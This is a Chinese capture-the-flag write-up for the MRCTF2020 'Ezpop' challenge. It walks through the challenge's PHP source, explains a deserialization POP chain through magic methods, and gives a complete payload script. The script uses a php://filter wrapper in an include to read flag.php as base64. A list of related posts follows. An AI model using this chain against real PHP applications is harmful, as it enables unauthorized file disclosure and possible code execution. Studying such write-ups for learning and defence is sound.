题目:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

反序列化直接分析,构造pop链

1.先分析第一个类,Modifier

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

append方法里面有内置函数include,包含$value值。__invoke方法是当脚本尝试将对象调用为函数时触发

2.show

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

__construct方法,接收参数$file$this->source = $file$file的值赋给source。而$file的值直接就是inde.php,所以还是输出index.php

__toString方法,当前对象访问str再访问source,然后返回这个值,就是把类当作字符串使用时触发

__wakeup方法,使用反序列化的时候触发,而这里同时也可以触发__toString方法。里面有waf,过滤一些协议,但是显而易见可以用filter

3.Test

class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
}

__construct方法,把p对象变成一个数组。

__get方法,从不可访问的属性中读取数据会触发

4.分析

$value接收什么可以控制

__invoke调用append,里面有$value

__get将对象p作为函数调用,p实例化为Modify类,而触发__invoke

__toString访问strsource属性,strsource属性,而触发__get

__wakeup把对象当成字符串处理(做匹配的时候),触发__toString

使用反序列化函数触发__wakeup

5.payload构造思路

Modifier类,先把$var的值写成伪协议读源码

class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

show类,这是pop链最开始,使用反序列化触发__wakeup__wakeup直接触发__toString,然后访问source触发__get

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "HNPC";
}
}

Test类,p实例化为Modify

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}

最后

$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));

6.payload

<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
} class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file; }
} class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));
 
image.png

pop传入,之后base64解码,得到flag

作者:浩歌已行
链接:https://www.jianshu.com/p/150cb693f77b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

[MRCTF2020]Ezpop的更多相关文章

  1. 刷题[MRCTF2020]Ezpop

    解题思路 打开一看直接是代码审计的题,就嗯审.最近可能都在搞反序列化,先把反序列化的题刷烂,理解理解 代码审计 Welcome to index.php <?php //flag is in f ...

  2. WP | [MRCTF2020]Ezpop

    2020.10.14 最近开始努力提高代码能力 题目代码 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Le ...

  3. [BJDCTF2020]EzPHP-POP链

    那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...

  4. [BUUCTF]REVERSE——[MRCTF2020]hello_world_go

    [MRCTF2020]hello_world_go 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索程序里的字符串,有很多,直接检索flag 一个一个点过去,找到了flag 按a,提取 ...

  5. [BUUCTF]REVERSE——[MRCTF2020]Xor

    [MRCTF2020]Xor 附件 步骤: 例行检查,32位程序,无壳 32位ida载入,首先检索程序里的字符串,根据字符串的提示,跳转到程序的关键函数 根据flag,跳转到sub_401090函数 ...

  6. [BUUCTF]REVERSE——[MRCTF2020]Transform

    [MRCTF2020]Transform 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,找到关键函数 一开始让我们输入一个长度为33位的字符串,之后使用数组dword_40F040打乱了 ...

  7. MRCTF2020 你传你🐎呢

    MRCTF2020 你传你 .htaccess mime检测 1.先尝试上传了一个文件,发现.jpg后缀的可以上传成功,但是用蚁剑连接时返回空数据 2.重新先上传一个.htaccess文件,让需要被上 ...

  8. [MRCTF2020]Ezaudit

    [MRCTF2020]Ezaudit 知识点 1.源码泄露 2.伪随机数 3.sql注入? 题解 打开题目是个漂亮的前端,扫一下发现www.zip文件泄露,下载审计 <?php header(' ...

  9. MRCTF2020 套娃

    MRCTF2020套娃 打开网页查看源代码 关于$_SERVER['QUERY_STRING']取值,例如: http://localhost/aaa/?p=222 $_SERVER['QUERY_S ...

随机推荐

  1. JavaScript变量声明与变量声明提前

    JavaScript变量声明 JavaScript中存储数据的容器称为变量.用关键字和标识符创建新变量的语句,称为变量声明.可以通过关键字var进行变量声明,在ES6中增加了let.const关键字声 ...

  2. 这个Map你肯定不知道,毕竟存在感确实太低了。

    这是why哥的第 75 篇原创文章 从Dubbo的优雅停机说起 好吧,其实本文并不是讲 Dubbo 的优雅停机的. 只是我在 Dubbo 停机方法 DubboShutdownHook 类中,看到了这样 ...

  3. kernel 目录

    1. 直接控制硬件 arch : Soc 相关 drivers : 硬件驱动 2. block: 块设备操作逻辑 kernel : 内核实现 net mm  : 内存管理 fs : 各种文件系统实现 ...

  4. python之路《七》文件的处理

    其实我觉得python的方便之处就是简便特别是对数据的处理上 当我们要处理一些数据的时候免不了的就是要处理许多的文件那么下面就让我们来看一下文件的处理 1.打开文件 python的文件打开方式较为简单 ...

  5. centos 6系统下新磁盘分区(MBR格式)

    添加新磁盘后,fdisk -l查看所有磁盘列表( fdisk只能分区2T以下磁盘,超过2T的用parted命令来进行GPT分区) 然后fdisk -cu /dev/sdb选择要分区的磁盘,按m显示菜单 ...

  6. 创建Spring Cloud聚合项目

    使用maven创建单一项目的时候通常用不到聚合项目,创建spring cloud项目时候,由于下面都是一个一个微服务,每个服务对应一个项目,这就需要用到聚合项目,方便对依赖和项目之间的关系进行管理,使 ...

  7. C++中class和struct区别

    1.存储不同 结构体使用栈存储(Stack Allocation),而类使用堆存储(Heap Allocation). 栈的空间相对较小.但是存储在栈中的数据访问效率相对较高. 堆的空间相对较大.但是 ...

  8. C# redis集群批量操作之slot计算出16384个字符串

    引入一个大家都用的到的需求来说吧. 需求:要在三主三从的redis集群,存入数据,会对数据进行批量删除操作,数据要求要在redis集群负载均衡. 思路: 1.存入数据好办 1 var connect ...

  9. L-Rui

    <!DOCTYPE html> <head> <meta charset="UTF-8"> <link rel="shortcu ...

  10. JavaSE 学习笔记06丨并发

    Chapter 12. 并发 12.1 并发与并行 并发:指两个或多个事件在同一个时间段内发生. 并行:指两个或多个事件在同一时刻发生(同时发生). 在操作系统中,并发指的是在一段时间内宏观上有多个程 ...